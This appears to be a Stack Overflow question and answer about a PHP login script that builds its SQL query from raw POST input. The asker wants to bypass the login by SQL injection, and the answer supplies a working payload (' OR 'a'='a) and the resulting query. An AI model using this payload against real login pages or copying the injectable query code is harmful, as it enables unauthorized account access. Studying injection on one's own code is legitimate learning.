0

Here's a snippet of my login.php code:

if (isset($_POST['login'])){
    $username = $_POST['user'];
    $password = $_POST['pass'];
    $query = mysqli_query($con, "SELECT * FROM users WHERE password='$password' and username='$username'");
    $row = mysqli_fetch_array($query);
    if ($row > 0) {         
        $_SESSION['user_id']=$row['user_id'];
        header('location:home.php');    
    } else {
        echo 'Invalid Username and Password Combination';
    }
}
?>

the login works, but when I try to bypass the auth/login by inputting ' or ''=' it returns this error

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\x\x\x\x.php on line 32

The login works when I input a valid user that is on the database: Sample

Username: admin
Password: admin

What I wanna do is to bypass the login by inputting(sql injection)

Username: admin  
Password: **' ANYTHING ''='**

But then inputting ' ANYTHING ''=' returns the error mentioned above.

BlackNetworkBit
  • 768
  • 11
  • 21
Enthel
  • 17
  • 7
  • Both, how do i fix this error so that sql injection bypass will work. The login works when I input a valid username/password, but when I input ' or ''=' to bypass the login it returns that error. – Enthel Sep 11 '18 at 16:45
  • 1
    Can you edit the question to show exactly what values you're using for `$username` and `$password`? – Don't Panic Sep 11 '18 at 16:47
  • The resulting string needs to be syntactically valid SQL code. You can [configure mysqli](https://stackoverflow.com/questions/14578243/turning-query-errors-to-exceptions-in-mysqli) to display/log the exact parse error. – Álvaro González Sep 11 '18 at 17:10

1 Answers1

0

You're getting that warning because the values you injected caused the query to fail, probably because of a MySQL syntax error.

Try these values instead:

$password = "' OR 'a'='a";
$username = "admin";

This will give the SQL string:

SELECT * FROM users WHERE password='' OR 'a'='a' and username='admin'

Which should be valid and return the admin user record.

Don't Panic
  • 41,125
  • 10
  • 61
  • 80